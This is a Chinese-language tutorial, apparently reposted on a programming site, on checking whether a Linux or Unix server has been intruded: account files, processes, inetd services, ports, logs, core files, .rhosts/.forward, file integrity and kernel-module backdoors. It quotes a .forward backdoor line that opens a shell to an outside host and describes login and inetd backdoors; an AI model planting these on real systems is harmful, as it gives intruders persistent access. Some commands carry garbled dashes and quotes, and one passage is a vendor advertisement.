當前位置:編程學習大全網 - 源碼下載 - Linux如何判斷自己的服務器是否被入侵

Linux如何判斷自己的服務器是否被入侵

1、檢查系統密碼文件

首先從明顯的入手,查看壹下passwd文件,ls –l /etc/passwd查看文件修改的日期。

檢查壹下passwd文件中有哪些特權用戶,系統中uid為0的用戶都會被顯示出來。

1

awk –F:’$3==0?{print?$1}’?/etc/passwd

  

順便再檢查壹下系統裏有沒有空口令帳戶:

1

awk –F: ‘length($2)==0?{print?$1}’?/etc/shadow

  

2、查看壹下進程,看看有沒有奇怪的進程

重點查看進程:ps –aef | grep inetd

inetd是UNIX系統的守護進程,正常的inetd的pid都比較靠前,如果妳看到輸出了壹個類似inetd –s /tmp/.xxx之類的進程,著重看inetd –s後面的內容。在正常情況下,LINUX系統中的inetd服務後面是沒有-s參數的,當然也沒有用inetd去啟動某個文件;而solaris系統中也僅僅是inetd –s,同樣沒有用inetd去啟動某個特定的文件;如果妳使用ps命令看到inetd啟動了某個文件,而妳自己又沒有用inetd啟動這個文件,那就說明已經有人入侵了妳的系統,並且以root權限起了壹個簡單的後門。

輸入ps –aef 查看輸出信息,尤其註意有沒有以./xxx開頭的進程。壹旦發現異樣的進程,經檢查為入侵者留下的後門程序,立即運行kill –9 pid 開殺死該進程,然後再運行ps –aef查看該進程是否被殺死;壹旦此類進程出現殺死以後又重新啟動的現象,則證明系統被人放置了自動啟動程序的腳本。這個時候要進行仔細查找:find / -name 程序名 –print,假設系統真的被入侵者放置了後門,根據找到的程序所在的目錄,會找到很多有趣的東東J

UNIX下隱藏進程有的時候通過替換ps文件來做,檢測這種方法涉及到檢查文件完整性,稍後我們再討論這種方法。

接下來根據找到入侵者在服務器上的文件目錄,壹步壹步進行追蹤。

3、檢查系統守護進程

檢查/etc/inetd.conf文件,輸入:cat /etc/inetd.conf | grep –v “^#”,輸出的信息就是妳這臺機器所開啟的遠程服務。

壹般入侵者可以通過直接替換in.xxx程序來創建壹個後門,比如用/bin/sh 替換掉in.telnetd,然後重新啟動inetd服務,那麽telnet到服務器上的所有用戶將不用輸入用戶名和密碼而直接獲得壹個rootshell。

4、檢查網絡連接和監聽端口

輸入netstat -an,列出本機所有的連接和監聽的端口,查看有沒有非法連接。

輸入netstat –rn,查看本機的路由、網關設置是否正確。

輸入 ifconfig –a,查看網卡設置。

5、檢查系統日誌

命令last | more查看在正常情況下登錄到本機的所有用戶的歷史記錄。但last命令依賴於syslog進程,這已經成為入侵者攻擊的重要目標。入侵者通常會停止系統的syslog,查看系統syslog進程的情況,判斷syslog上次啟動的時間是否正常,因為syslog是以root身份執行的,如果發現syslog被非法動過,那說明有重大的入侵事件。

在linux下輸入ls –al /var/log

在solaris下輸入 ls –al /var/adm

檢查wtmp utmp,包括messgae等文件的完整性和修改時間是否正常,這也是手工擦除入侵痕跡的壹種方法。

6、檢查系統中的core文件

通過發送畸形請求來攻擊服務器的某壹服務來入侵系統是壹種常規的入侵方法,典型的RPC攻擊就是通過這種方式。這種方式有壹定的成功率,也就是說它並不能100%保證成功入侵系統,而且通常會在服務器相應目錄下產生core文件,全局查找系統中的core文件,輸入find / -name core –exec ls –l {} \; 依據core所在的目錄、查詢core文件來判斷是否有入侵行為。

7、.rhosts和.forward

這是兩種比較著名的後門文件,如果想檢查妳的系統是否被入侵者安裝了後門,不妨全局查找這兩個文件:

find / -name “.rhosts” –print

find / -name “.forward” –print

在某用戶的$HOME下,.rhosts文件中僅包含兩個+號是非常危險的,如果妳的系統上開了513端口(rlogin端口,和telnet作用相同),那麽任意是誰都可以用這個用戶登錄到妳的系統上而不需要任何驗證。

看到這裏如果想要深入的做安全加固服務以及安全部署

就必須找專業做服務器的安全公司來處理了國內也就Sine安全和綠盟比較專業提供。

Unix下在.forward文件裏放入命令是重新獲得訪問的常用方法在某壹 用戶$HOME下的.forward可能設置如下:

\username|"/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 –e /bin/sh"

這種方法的變形包括改變系統的mail的別名文件(通常位於/etc/aliases). 註意這只是壹種簡單的變換. 更為高級的能夠從.forward中運行簡單腳本實現在標準輸入執行任意命令(小部分預處理後).利用smrsh可以有效的制止這種後門(雖然如果允許可以自運行的elm's filter或procmail類程序, 很有可能還有問題。在Solaris系統下,如果妳運行如下命令:

ln -s /var/mail/luser ~/.forward

然後設置vacation有效,那麽/var/mail/luser就會被拷貝到~/.forward,同時會附加"|/usr/bin/vacation me",舊的symlink被移到~/.forward..BACKUP中。

直接刪除掉這兩個文件也可以。

8、檢查系統文件完整性

檢查文件的完整性有多種方法,通常我們通過輸入ls –l 文件名來查詢和比較文件,這種方法雖然簡單,但還是有壹定的實用性。但是如果ls文件都已經被替換了就比較麻煩。在LINUX下可以用rpm –V `rpm –qf 文件名` 來查詢,國家查詢的結果是否正常來判斷文件是否完整。在LINUX下使用rpm來檢查文件的完整性的方法也很多,這裏不壹壹贅述,可以man rpm來獲得更多的格式。

UNIX系統中,/bin/login是被入侵者經常替換作為後門的文件,接下來談壹下login後門 :

UNIX裏,Login程序通常用來對telnet來的用戶進行口令驗證。入侵者獲取login的源代碼並修改,使它在比較輸入口令與存儲口令時先檢查後門口令。如果用戶敲入後門口令,它將忽視管理員設置的口令讓妳長驅直入:這將允許入侵者進入任何賬號,甚至是root目錄。由於後門口令是在用戶真實登錄並被日誌記錄到utmp和wtmP前產生的壹個訪問,所以入侵者可以登錄獲取shell卻不會暴露該賬號。管理員註意到這種後門後,使用”strings”命令搜索login程序以尋找文本信息。許多情況下後門口令會原形畢露。入侵者又會開始加密或者更改隱藏口令,使strings命令失效。所以許多管理員利用MD5校驗和檢測這種後門。UNIX系統中有md5sum命令,輸入md5sum 文件名檢查該文件的md5簽名。它的使用格式如下:md5sum –b 使用二進制方式閱讀文件;md5sum –c 逆向檢查MD5簽名;md5sum –t 使用文本方式閱讀文件。

在前面提到過守護進程,對於守護進程配置文件inetd.conf中沒有被註釋掉的行要進行仔細比較,舉個簡單的例子,如果妳開放了telnet服務,守護進程配置文件中就會有壹句:telnet stream tcp nowait root /usr/sbin/in.telnetd in.telnetd

可以看到它所使用的文件是 /usr/sbin/in.telnetd,檢查該文件的完整性,入侵者往往通過替換守護進程中允許的服務文件來為自己創建壹個後門。

LINUX系統中的/etc/crontab也是經常被入侵者利用的壹個文件,檢查該文件的完整性,可以直接cat /etc/crontab,仔細閱讀該文件有沒有被入侵者利用來做其他的事情。

不替換login等文件而直接使用進程來啟動後門的方法有壹個缺陷,即系統壹旦重新啟動,這個進程就被殺死了,所以得讓這個後門在系統啟動的時候也啟動起來。通常通過檢查/etc/rc.d下的文件來查看系統啟動的時候是不是帶有後門程序;這個方法怎麽有點象查windows下的trojan?

說到這裏,另外提壹下,如果在某壹目錄下發現有屬性為這樣的文件:-rwsr-xr-x 1 root root xxx .sh,這個表明任何用戶進來以後運行這個文件都可以獲得壹個rootshell,這就是setuid文件。運行 find –perm 4000 –print對此類文件進行全局查找,然後刪除這樣的文件。

9、檢查內核級後門

如果妳的系統被人安裝了這種後門,通常都是比較討厭的,我常常就在想,遇到這種情況還是重新安裝系統算了J,言歸正傳,首先,檢查系統加載的模塊,在LINUX系統下使用lsmod命令,在solaris系統下使用modinfo命令來查看。這裏需要說明的是,壹般默認安裝的LINUX加載的模塊都比較少,通常就是網卡的驅動;而solaris下就很多,沒別的辦法,只有壹條壹條地去分析。對內核進行加固後,應禁止插入或刪除模塊,從而保護系統的安全,否則入侵者將有可能再次對系統調用進行替換。我們可以通過替換create_module()和delete_module()來達到上述目的。另外,對這個內核進行加固模塊時應盡早進行,以防系統調用已經被入侵者替換。如果系統被加載了後門模塊,但是在模塊列表/proc/module裏又看不到它們,有可能是使用了hack工具來移除加載的模塊,大名鼎鼎的knark工具包就有移除加載模塊的工具。出現這種情況,需要仔細查找/proc目錄,根據查找到的文件和經驗來判斷被隱藏和偽裝的進程。Knark後門模塊就在/proc/knark目錄,當然可能這個目錄是隱藏的。

  • 上一篇:天堂270源代碼
  • 下一篇:初中名著整理 很急 高分!!!!!!!!!!
  • copyright 2024編程學習大全網